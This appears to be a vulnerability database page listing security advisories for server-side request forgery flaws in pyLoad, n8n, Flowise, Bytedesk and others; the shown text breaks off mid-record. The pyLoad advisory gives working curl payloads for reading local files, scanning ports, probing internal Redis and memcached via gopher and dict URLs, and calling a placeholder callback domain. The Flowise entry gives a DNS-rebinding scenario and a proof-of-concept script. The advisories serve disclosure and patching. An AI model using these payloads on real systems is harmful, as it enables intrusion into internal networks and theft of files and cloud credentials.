Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4863 vulnerabilities reference this CWE, most recent first.

GHSA-2WVG-62QM-GJ33

Vulnerability from github – Published: 2026-04-04 04:18 – Updated: 2026-04-06 23:43
VLAI
Summary
pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter
Details

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parse_urls API function in src/pyload/core/api/__init__.py (line 556) fetches arbitrary URLs server-side via get_url(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

  • Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints
  • Read local files via file:// protocol (pycurl reads the file server-side)
  • Interact with internal services via gopher:// and dict:// protocols
  • Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/__init__.py (line 556):

def parse_urls(self, html=None, url=None):
    if url:
        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist
        urls.update(RE_URLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

curl -s -b "pyload_session_8000=<SESSION>"   -H "X-CSRFToken: "   -H "Content-Type: application/x-www-form-urlencoded"   -d "url=http://ssrf-proof.<CALLBACK_DOMAIN>/pyload-ssrf-poc"   http://localhost:8084/api/parse_urls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

# Reading /etc/passwd (file exists) -> empty response (no error)
curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parse_urls
# Response: {}

# Reading nonexistent file -> pycurl error 37
curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parse_urls
# Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parse_urls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable: - /etc/passwd, /etc/hosts - /proc/self/environ (process environment variables) - /config/settings/pyload.cfg (pyLoad configuration) - /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parse_urls
# Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

curl ... -d "url=gopher://127.0.0.1:6379/_INFO" http://localhost:8084/api/parse_urls
curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parse_urls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

  • Read local files via file:// protocol (configuration, credentials, database files)
  • Enumerate file existence via error-based oracle (Couldn't open file vs empty response)
  • Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens)
  • Scan internal network services and ports via error-based timing
  • Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict://
  • Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

from urllib.parse import urlparse
import ipaddress
import socket

def _is_safe_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ('http', 'https'):
        return False
    hostname = parsed.hostname
    if not hostname:
        return False
    try:
        for info in socket.getaddrinfo(hostname, None):
            ip = ipaddress.ip_address(info[4][0])
            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
                return False
    except (socket.gaierror, ValueError):
        return False
    return True

def parse_urls(self, html=None, url=None):
    if url:
        if not _is_safe_url(url):
            raise ValueError("URL targets a restricted address or uses a disallowed protocol")
        page = get_url(url)
        urls.update(RE_URLMATCH.findall(page))
Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T04:18:43Z",
    "nvd_published_at": "2026-04-06T20:16:27Z",
    "severity": "HIGH"
  },
  "details": "## Vulnerability Details\n\n**CWE-918**: Server-Side Request Forgery (SSRF)\n\nThe `parse_urls` API function in `src/pyload/core/api/__init__.py` (line 556) fetches arbitrary URLs server-side via `get_url(url)` (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:\n\n- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints\n- **Read local files** via `file://` protocol (pycurl reads the file server-side)\n- **Interact with internal services** via `gopher://` and `dict://` protocols\n- **Enumerate file existence** via error-based oracle (error 37 vs empty response)\n\n### Vulnerable Code\n\n**`src/pyload/core/api/__init__.py` (line 556)**:\n\n```python\ndef parse_urls(self, html=None, url=None):\n    if url:\n        page = get_url(url)  # NO protocol restriction, NO URL validation, NO IP blacklist\n        urls.update(RE_URLMATCH.findall(page))\n```\n\nNo validation is applied to the `url` parameter. The underlying pycurl supports `file://`, `gopher://`, `dict://`, and other dangerous protocols by default.\n\n## Steps to Reproduce\n\n### Setup\n\n```bash\ndocker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest\n```\n\nLog in as any user with ADD permission and extract the CSRF token:\n\n```bash\nCSRF=\n```\n\n### PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)\n\n```bash\ncurl -s -b \"pyload_session_8000=\u003cSESSION\u003e\"   -H \"X-CSRFToken: \"   -H \"Content-Type: application/x-www-form-urlencoded\"   -d \"url=http://ssrf-proof.\u003cCALLBACK_DOMAIN\u003e/pyload-ssrf-poc\"   http://localhost:8084/api/parse_urls\n```\n\n**Result**: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.\n\n### PoC 2: Local file read via file:// protocol\n\n```bash\n# Reading /etc/passwd (file exists) -\u003e empty response (no error)\ncurl ... -d \"url=file:///etc/passwd\" http://localhost:8084/api/parse_urls\n# Response: {}\n\n# Reading nonexistent file -\u003e pycurl error 37\ncurl ... -d \"url=file:///nonexistent\" http://localhost:8084/api/parse_urls\n# Response: {\"error\": \"(37, \\\u0027Couldn\u0027t open file /nonexistent\\\u0027)\"}\n```\n\nThe difference confirms pycurl successfully reads local files. While `parse_urls` only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a **file existence oracle**.\n\nFiles confirmed readable:\n- `/etc/passwd`, `/etc/hosts`\n- `/proc/self/environ` (process environment variables)\n- `/config/settings/pyload.cfg` (pyLoad configuration)\n- `/config/data/pyload.db` (SQLite database)\n\n### PoC 3: Internal port scanning\n\n```bash\ncurl ... -d \"url=http://127.0.0.1:22/\" http://localhost:8084/api/parse_urls\n# Response: pycurl.error: (7, \u0027Failed to connect to 127.0.0.1 port 22\u0027)\n```\n\n### PoC 4: gopher:// and dict:// protocol support\n\n```bash\ncurl ... -d \"url=gopher://127.0.0.1:6379/_INFO\" http://localhost:8084/api/parse_urls\ncurl ... -d \"url=dict://127.0.0.1:11211/stat\" http://localhost:8084/api/parse_urls\n```\n\nBoth protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).\n\n## Impact\n\nAn authenticated user with ADD permission can:\n\n- **Read local files** via `file://` protocol (configuration, credentials, database files)\n- **Enumerate file existence** via error-based oracle (`Couldn\u0027t open file` vs empty response)\n- **Access cloud metadata endpoints** (AWS IAM credentials at `http://169.254.169.254/`, GCP service tokens)\n- **Scan internal network** services and ports via error-based timing\n- **Interact with internal services** via `gopher://` (Redis RCE, SMTP relay) and `dict://`\n- **Exfiltrate data** via DNS/HTTP to attacker-controlled servers\n\nThe multi-protocol support (`file://`, `gopher://`, `dict://`) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.\n\n## Proposed Fix\n\nRestrict allowed protocols and validate target addresses:\n\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\ndef _is_safe_url(url):\n    parsed = urlparse(url)\n    if parsed.scheme not in (\u0027http\u0027, \u0027https\u0027):\n        return False\n    hostname = parsed.hostname\n    if not hostname:\n        return False\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:\n                return False\n    except (socket.gaierror, ValueError):\n        return False\n    return True\n\ndef parse_urls(self, html=None, url=None):\n    if url:\n        if not _is_safe_url(url):\n            raise ValueError(\"URL targets a restricted address or uses a disallowed protocol\")\n        page = get_url(url)\n        urls.update(RE_URLMATCH.findall(page))\n```",
  "id": "GHSA-2wvg-62qm-gj33",
  "modified": "2026-04-06T23:43:23Z",
  "published": "2026-04-04T04:18:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-2wvg-62qm-gj33"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35187"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/4032e57d61d8f864e39f4dcfdb567527a50a9e1f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyLoad: SSRF in parse_urls API endpoint via unvalidated URL parameter"
}

GHSA-2X2M-2FW2-WHQJ

Vulnerability from github – Published: 2024-04-09 21:31 – Updated: 2024-04-09 21:31
VLAI
Details

The Avada | Website Builder For WordPress & WooCommerce theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.11.6 via the form_to_url_action function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-2343"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T19:15:33Z",
    "severity": "MODERATE"
  },
  "details": "The Avada | Website Builder For WordPress \u0026 WooCommerce theme for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 7.11.6 via the form_to_url_action function. This makes it possible for authenticated attackers, with contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-2x2m-2fw2-whqj",
  "modified": "2024-04-09T21:31:59Z",
  "published": "2024-04-09T21:31:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2343"
    },
    {
      "type": "WEB",
      "url": "https://avada.com/documentation/avada-changelog"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Xib3rR4dAr/55d41870c7ce0e95f454d00100bc10dc"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/87ca07ac-6080-45d7-a8f5-74a918adec43?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2X35-3FW4-9JR4

Vulnerability from github – Published: 2026-07-22 22:09 – Updated: 2026-07-22 22:09
VLAI
Summary
n8n: Send Email Node Arbitrary File Read and SSRF via Nodemailer Content-Object Type Confusion
Details

Impact

The n8n Send Email node did not enforce that its message fields were strings, so a crafted untrusted non-string value from a workflow expression could be treated by the underlying mail library as a file path or URL. This could allow disclosure of local files on the n8n host.

Exploitation requires a pre-existing active workflow with an unauthenticated webhook, valid SMTP credentials configured on the Send Email node, and untrusted input mapped directly into the text or HTML body field. This is not a default n8n configuration.

Patches

The issue has been fixed in n8n versions 1.123.67, 2.31.5, and 2.32.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Audit active workflows for Send Email nodes that map untrusted webhook or external data directly into the text or HTML body fields, and remove or restrict those workflows. - Restrict public webhook access at the network or reverse-proxy level to prevent unauthenticated callers from reaching sensitive workflows. - Restrict workflow creation and editing permissions to fully trusted users only.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.67"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.32.0"
            },
            {
              "fixed": "2.32.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc.0"
            },
            {
              "fixed": "2.31.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-843",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:09:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\n\nThe n8n Send Email node did not enforce that its message fields were strings, so a crafted untrusted non-string value from a workflow expression could be treated by the underlying mail library as a file path or URL. This could allow disclosure of local files on the n8n host.\n\nExploitation requires a pre-existing active workflow with an unauthenticated webhook, valid SMTP credentials configured on the Send Email node, and untrusted input mapped directly into the text or HTML body field. This is not a default n8n configuration.\n\n## Patches\n\nThe issue has been fixed in n8n versions 1.123.67, 2.31.5, and 2.32.1. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\n\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Audit active workflows for Send Email nodes that map untrusted webhook or external data directly into the text or HTML body fields, and remove or restrict those workflows.\n- Restrict public webhook access at the network or reverse-proxy level to prevent unauthenticated callers from reaching sensitive workflows.\n- Restrict workflow creation and editing permissions to fully trusted users only.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-2x35-3fw4-9jr4",
  "modified": "2026-07-22T22:09:11Z",
  "published": "2026-07-22T22:09:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-2x35-3fw4-9jr4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/f69dfc6dd2178a14ea1624d2e1d403c2e755042f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@1.123.67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.31.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.32.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n: Send Email Node Arbitrary File Read and SSRF via Nodemailer Content-Object Type Confusion"
}

GHSA-2X38-RCQ4-G4QR

Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31
VLAI
Details

OpenClaw 2026.4.20 before 2026.5.28 contain a policy bypass in the QQBot media upload feature. A lower-trust caller or configured input path could cause the media upload to reach network destinations that should have been blocked by OpenClaw policy (server-side request forgery). The practical impact depends on the operator's configuration and whether lower-trust input can reach that path.

Severity
5.0 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-62216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T02:18:08Z",
    "severity": "LOW"
  },
  "details": "OpenClaw 2026.4.20 before 2026.5.28 contain a policy bypass in the QQBot media upload feature. A lower-trust caller or configured input path could cause the media upload to reach network destinations that should have been blocked by OpenClaw policy (server-side request forgery). The practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.",
  "id": "GHSA-2x38-rcq4-g4qr",
  "modified": "2026-07-17T03:31:22Z",
  "published": "2026-07-17T03:31:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fwgr-fpv9-vf5x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62216"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-policy-bypass-via-media-upload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2X8H-3GX5-578J

Vulnerability from github – Published: 2026-03-09 00:30 – Updated: 2026-03-09 00:30
VLAI
Details

A security vulnerability has been detected in Bytedesk up to 1.3.9. This impacts the function getModels of the file source-code/src/main/java/com/bytedesk/ai/springai/providers/openrouter/SpringAIOpenrouterRestService.java of the component SpringAIOpenrouterRestController. Such manipulation of the argument apiUrl leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.4.5.4 will fix this issue. The name of the patch is 975e39e4dd527596987559f56c5f9f973f64eff7. It is recommended to upgrade the affected component.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-09T00:16:01Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in Bytedesk up to 1.3.9. This impacts the function getModels of the file source-code/src/main/java/com/bytedesk/ai/springai/providers/openrouter/SpringAIOpenrouterRestService.java of the component SpringAIOpenrouterRestController. Such manipulation of the argument apiUrl leads to server-side request forgery. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 1.4.5.4 will fix this issue. The name of the patch is 975e39e4dd527596987559f56c5f9f973f64eff7. It is recommended to upgrade the affected component.",
  "id": "GHSA-2x8h-3gx5-578j",
  "modified": "2026-03-09T00:30:13Z",
  "published": "2026-03-09T00:30:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3788"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/issues/20"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/issues/20#issue-3993526693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/issues/20#issuecomment-3976672715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/commit/975e39e4dd527596987559f56c5f9f973f64eff7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Bytedesk/bytedesk/releases/tag/v1.4.5.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.349755"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.349755"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.768043"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2X8M-83VC-6WV4

Vulnerability from github – Published: 2026-04-16 21:51 – Updated: 2026-04-24 21:01
VLAI
Summary
Flowise: SSRF Protection Bypass (TOCTOU & Default Insecure)
Details

Summary

The core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list.

Details

The flaws exist in packages/components/src/httpSecurity.ts.

Default Insecure: If process.env.HTTP_DENY_LIST is undefined, checkDenyList returns immediately, allowing all requests (including localhost).

DNS Rebinding (TOCTOU): The function performs a DNS lookup (dns.lookup) to validate the IP, and then the HTTP client performs a new lookup to connect. An attacker can serve a valid IP first, then switch to an internal IP (e.g., 127.0.0.1) for the second lookup.

PoC

Ensure HTTP_DENY_LIST is unset (default behavior).

Use any node utilizing secureFetch to access http://127.0.0.1.

Result: Request succeeds.

Scenario 2: DNS Rebinding

Attacker controls domain attacker.com and a custom DNS server.

Configure DNS to return 1.1.1.1 (Safe IP) with TTL=0 for the first query.

Configure DNS to return 127.0.0.1 (Blocked IP) for subsequent queries.

Flowise validates attacker.com -> 1.1.1.1 (Allowed).

Flowise fetches attacker.com -> 127.0.0.1 (Bypass).

Run the following for manual verification 

// PoC for httpSecurity.ts Bypasses
import * as dns from 'dns/promises';

// Mocking the checkDenyList logic from Flowise
async function checkDenyList(url: string) {
    const deniedIPs = ['127.0.0.1', '0.0.0.0']; // Simplified deny list logic

    if (!process.env.HTTP_DENY_LIST) {
        console.log(\"⚠️  HTTP_DENY_LIST not set. Returning allowed.\");
        return; // Vulnerability 1: Default Insecure
    }

    const { hostname } = new URL(url);
    const { address } = await dns.lookup(hostname);

    if (deniedIPs.includes(address)) {
        throw new Error(`IP ${address} is denied`);
    }
    console.log(`✅ IP ${address} allowed check.`);
}

async function runPoC() {
    console.log(\"--- Test 1: Default Configuration (Unset HTTP_DENY_LIST) ---\");
    // Ensure env var is unset
    delete process.env.HTTP_DENY_LIST;
    try {
        await checkDenyList('http://127.0.0.1');
        console.log(\"[PASS] Default config allowed localhost access.\");
    } catch (e) {
        console.log(\"[FAIL] Blocked:\", e.message);
    }

    console.log(\"\
--- Test 2: 'private' Keyword Bypass (Logic Flaw) ---\");
    process.env.HTTP_DENY_LIST = 'private'; // User expects this to block localhost
    try {
        await checkDenyList('http://127.0.0.1');
        // In real Flowise code, 'private' is not expanded to IPs, so it only blocks the string \"private\"
        console.log(\"[PASS] 'private' keyword failed to block localhost (Mock simulation).\");
    } catch (e) {
        console.log(\"[FAIL] Blocked:\", e.message);
    }
}

runPoC();

Impact

Confidentiality: High (Access to internal services if protection is bypassed).

Integrity: Low/Medium (If internal services allow state changes via GET).

Availability: Low.

Severity
7.1 (High)
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41272"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:51:00Z",
    "nvd_published_at": "2026-04-23T20:16:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list.\n\n\n### Details\nThe flaws exist in `packages/components/src/httpSecurity.ts`.\n\nDefault Insecure: If process.env.HTTP_DENY_LIST is undefined, checkDenyList returns immediately, allowing all requests (including localhost).\n\nDNS Rebinding (TOCTOU): The function performs a DNS lookup (dns.lookup) to validate the IP, and then the HTTP client performs a new lookup to connect. An attacker can serve a valid IP first, then switch to an internal IP (e.g., `127.0.0.1`) for the second lookup.\n\n\n### PoC\nEnsure `HTTP_DENY_LIST` is unset (default behavior).\n\nUse any node utilizing secureFetch to access `http://127.0.0.1`.\n\nResult: Request succeeds.\n\n#### Scenario 2: DNS Rebinding\n\nAttacker controls domain attacker.com and a custom DNS server.\n\nConfigure DNS to return `1.1.1.1` (Safe IP) with TTL=0 for the first query.\n\nConfigure DNS to return `127.0.0.1` (Blocked IP) for subsequent queries.\n\nFlowise validates `attacker.com` -\u003e `1.1.1.1` (Allowed).\n\nFlowise fetches `attacker.com` -\u003e `127.0.0.1` (Bypass).\n\nRun the following for manual verification \n\n```ts\n// PoC for httpSecurity.ts Bypasses\nimport * as dns from \u0027dns/promises\u0027;\n\n// Mocking the checkDenyList logic from Flowise\nasync function checkDenyList(url: string) {\n    const deniedIPs = [\u0027127.0.0.1\u0027, \u00270.0.0.0\u0027]; // Simplified deny list logic\n\n    if (!process.env.HTTP_DENY_LIST) {\n        console.log(\\\"\u26a0\ufe0f  HTTP_DENY_LIST not set. Returning allowed.\\\");\n        return; // Vulnerability 1: Default Insecure\n    }\n\n    const { hostname } = new URL(url);\n    const { address } = await dns.lookup(hostname);\n\n    if (deniedIPs.includes(address)) {\n        throw new Error(`IP ${address} is denied`);\n    }\n    console.log(`\u2705 IP ${address} allowed check.`);\n}\n\nasync function runPoC() {\n    console.log(\\\"--- Test 1: Default Configuration (Unset HTTP_DENY_LIST) ---\\\");\n    // Ensure env var is unset\n    delete process.env.HTTP_DENY_LIST;\n    try {\n        await checkDenyList(\u0027http://127.0.0.1\u0027);\n        console.log(\\\"[PASS] Default config allowed localhost access.\\\");\n    } catch (e) {\n        console.log(\\\"[FAIL] Blocked:\\\", e.message);\n    }\n\n    console.log(\\\"\\\n--- Test 2: \u0027private\u0027 Keyword Bypass (Logic Flaw) ---\\\");\n    process.env.HTTP_DENY_LIST = \u0027private\u0027; // User expects this to block localhost\n    try {\n        await checkDenyList(\u0027http://127.0.0.1\u0027);\n        // In real Flowise code, \u0027private\u0027 is not expanded to IPs, so it only blocks the string \\\"private\\\"\n        console.log(\\\"[PASS] \u0027private\u0027 keyword failed to block localhost (Mock simulation).\\\");\n    } catch (e) {\n        console.log(\\\"[FAIL] Blocked:\\\", e.message);\n    }\n}\n\nrunPoC();\n```\n\n\n### Impact\nConfidentiality: High (Access to internal services if protection is bypassed).\n\nIntegrity: Low/Medium (If internal services allow state changes via GET).\n\nAvailability: Low.",
  "id": "GHSA-2x8m-83vc-6wv4",
  "modified": "2026-04-24T21:01:27Z",
  "published": "2026-04-16T21:51:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-2x8m-83vc-6wv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41272"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
